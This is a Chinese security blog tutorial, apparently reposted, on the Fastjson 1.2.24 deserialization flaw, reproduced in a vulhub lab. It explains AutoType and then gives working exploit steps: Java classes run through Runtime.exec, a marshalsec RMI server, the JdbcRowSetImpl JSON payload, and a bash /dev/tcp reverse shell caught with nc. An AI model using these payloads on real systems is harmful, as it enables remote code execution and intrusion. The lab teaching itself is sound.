Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

admin 2023年6月11日21:38:18评论83 views字数 5474阅读18分14秒阅读模式

 漏洞原理

1.啥是json?

json全称是JavaScript object notation。即JavaScript对象标记法,使用键值对进行信息的存储。举个简单的例子如下:

{        "name":"BossFrank",        "age":23,        "media":["CSDN","bilibili","Github"]}

json本质就是一种字符串,用于信息的存储和交换。

2.啥是fastjson?

fastjson 是一个 有阿里开发的一个开源Java 类库,可以将 Java 对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(反序列化)。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象(这就是漏洞来源,下文会解释)。使用比较广泛。

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

3.fastjson序列化/反序列化原理

fastjson的漏洞本质还是一个java的反序列化漏洞,由于引进了AutoType功能,fastjson在对json字符串反序列化的时候,会读取到@type的内容,将json内容反序列化为java对象并调用这个类的setter方法。

那么为啥要引进Auto Type功能呢?

fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:

1.基于setter/getter

2.基于属性(AutoType)

基于setter/getter会带来什么问题呢,下面举个例子,假设有如下两个类:

class Apple implements Fruit {    private Big_Decimal price;    //省略 setter/getter、toString等} class iphone implements Fruit {    private Big_Decimal price;    //省略 setter/getter、toString等}

实例化对象之后,假设苹果对象的price为0.5,Apple类对象序列化为json格式后为:{"Fruit":{"price":0.5}}

假设iphone对象的price为5000,序列化为json格式后为:

{"Fruit":{"price":5000}}

当一个类只有一个接口的时候,将这个类的对象序列化的时候,就会将子类抹去(apple/iphone)只保留接口的类型(Fruit),最后导致反序列化时无法得到原始类型。本例中,将两个json再反序列化生成java对象的时候,无法区分原始类是apple还是iphone。


为了解决上述问题:fastjson引入了基于属性(AutoType),即在序列化的时候,先把原始类型记录下来。使用@type的键记录原始类型,在本例中,引入AutoType后,Apple类对象序列化为json格式后为:

{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.Apple", "price":0.5 } }

引入AutoType后,iphone类对象序列化为json格式后为:

{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.iphone", "price":5000 } }

这样在反序列化的时候就可以区分原始的类了。

4.fastjson反序列化漏洞原理

使用AutoType功能进行序列号的JSON字符会带有一个@type来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的setter或者getter方法,然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。

常见的有sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl,其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用!因此整个漏洞复现的原理过程就是:

攻击者(我们)访问存在fastjson漏洞的目标靶机网站,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。

存在漏洞的靶机对json反序列化时候,会加载执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行的命令。也就是靶机服务器问rmi服务器,(靶机服务器)需要执行什么命令啊?

rmi 服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class文件,并上传至恶意站点),得到攻击者(我们)构造好的命令(ping dnslog或者创建文件或者反弹shell啥的)

rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。

靶机服务器执行了恶意代码,被攻击者成功利用。

本人也是个菜鸡,按照我的理解,画了如下的图,大致解释一下整个流程。

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

靶场搭建

本文用kali虚拟机使用vulhub搭建靶场,复现fastjson1.2.24。无所谓是不是kali,反正是用docker部署。进入对应的目录后,输入如下命令启动靶场:

docker-compose up –d

如下图,启动成功:

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 然后用docker ps查看对应的容器端口号,如下图,端口为8090

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 用ifconfig查看虚拟机ip,可看到kali的ip为192.168.200.131

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

浏览器访问虚拟机ip:8090,页面显示如下。

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

至此,靶场搭建成功!

漏洞复现(漏洞利用)

1.远程创建文件

 在vulhub下的fastjson 1.2.24文件夹下保存以下代码为TouchFile.java文件

// javac TouchFile.javaimport java.lang.Runtime;import java.lang.Process; public class TouchFile {    static {        try {            Runtime rt = Runtime.getRuntime();            String[] commands = {"touch", "/tmp/successFrank"};            Process pc = rt.exec(commands);            pc.waitFor();        } catch (Exception e) {            // do nothing        }    }}

编译.java文件,生成.class文件。可以直接在kali虚拟机中编译,也可以在其他地方编译好TouhFile.class然后传进虚拟机对应目录,我就是直接在主机中编译的,命令如下:

javac TouchFile.java

特别注意:要保证java和javac的版本一致,且都是1.8的版本!!!我这里均为1.8.0_201,我之前到最后一步的时候总是复现失败,就是这个原因,非常痛苦。

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 把编译好的class文件传到外网系统中(这里传到kali服务器中,也就是靶场所在目录)

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

在class文件所在的目录,Python起一个http服务。用4444端口启动http服务的命令为:

python -m http.server 4444

如下图所示,这样就成功启动http服务了

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

然后查看此网址,会看到网站服务器的目录:http://虚拟机ip:4444/

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

接下来使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类TouchFile.class:

开启RMI服务,注意要更改""中的内容为你的虚拟机ip

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.200.131:4444/#TouchFile" 9999

 

 这里说一下marshalsec-0.0.3-SNAPSHOT-all.jar,

在pom.xml所在目录,需要运行以下命令生成.jar文件(生成成功后位于此目录的target子目录下)

mvn clean package -DskipTests

刷新靶场(http://192.168.6.134:8090)的链接,抓包后改GET包为POST包(右键->变更请求方法),然后在发送的请求数据包中输入以下payload:

Content-Type: application/jsonContent-Length: 170 {    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://192.168.200.131:9999/TouchFile",        "autoCommit":true    } }

注意rmi服务器的地址要改为你的虚拟机ip,要改的包如下图,把他发送到重放器repeater:

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 抓包后改GET包为POST包(右键->变更请求方法),修改后的请求如下图,点击发送go,如果响应的状态码为500,应该就成功了。

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 此时RMI监听效果:

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

http服务日志:

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 此时应该已经完成了漏洞复现,我们检测一下是否在tmp目录touch创建了文件successFrank即可。

运行docker ps查看容器id,我这里为f8b32e034007

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 进入容器,执行

docker exex –it 你的CONTAINER_ID bash

然后cd tmp,ls查看目录下文件,发现成功创建了successFrank,漏洞复现成功!

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

2.反弹shell的获取

基本思路和前面是一模一样的,改一下恶意站点的java代码就行了。在vulhub下的fastjson 1.2.24文件夹下保存以下代码为GetShell.java文件:


// javac GetShell.javaimport java.lang.Runtime;import java.lang.Process; public class TouchFile {    static {        try {            Runtime rt = Runtime.getRuntime();            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.200.131/7777 0>&1"};            Process pc = rt.exec(commands);            pc.waitFor();        } catch (Exception e) {            // do nothing        }    }}

注意别忘了将String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.200.131/7777 };这句的url改为反弹shell的目标机ip和端口,此处依然是kali虚拟机的ip。

然后编译一下,产生GetShell.class。把GetShell.class放在1.2.24-rce目录下:

javac GetShell.java

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

Python起一个http服务,我这里已经开启了,如果没开启再运行一下下面的代码。

python -m http.server 4444

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 浏览器访问恶意站点:4444,应该有如下的目录:

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 开启RMI服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.200.131:4444/#GetShell" 9999

这里也一样要把ip改为对应的虚拟机地址

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 另起一个终端,开启之前恶意java代码中写的的7777端口,进行监听:

nc –lvvp 7777

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 刷新靶场(http://192.168.200.131:8090)的链接,抓包后改GET包为POST包,然后在发送的请求数据包中输入以下payload:

Content-Type: application/jsonContent-Length: 168 {    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://192.168.200.131:9999/GetShell",        "autoCommit":true    } }

BP改包后如下图:

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

点击发送go,即可完成反弹shell

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

如下图,正在监听7777端口的终端,反弹shell获取成功,已经可以执行任何命令了

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 漏洞复现成功!

结语

在复现的过程中我也出现了许多的问题,最后发送bp改过的数据包之后,一直无法获取shell,也无法创建文件。后来发现是java和javac的版本问题,一定要保证二者都是1.8的版本!

其他fastjson的漏洞原理相似,只不过是增加了一下黑白名单的过滤,也存在对应的绕过方法,大家可以CSDN上再搜一搜,有很多相关文章。

转载:https://blog.csdn.net/Bossfrank/article/details/130100893作者:Bossfrank欢迎大家去关注作者


欢迎师傅加入安全交流群(qq群:611901335),或者后台回复加群

如果想和我一起讨论,欢迎加入我的知识星球!!!

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)


扫描下图加入freebuf知识大陆

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)


师傅们点赞、转发、在看就是最大的支持


后台回复知识星球或者知识大陆也可获取加入链接(两个加其一即可)


原文始发于微信公众号(星冥安全):Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月11日21:38:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)https://cn-sec.com/archives/1797621.html

发表评论

匿名网友 填写信息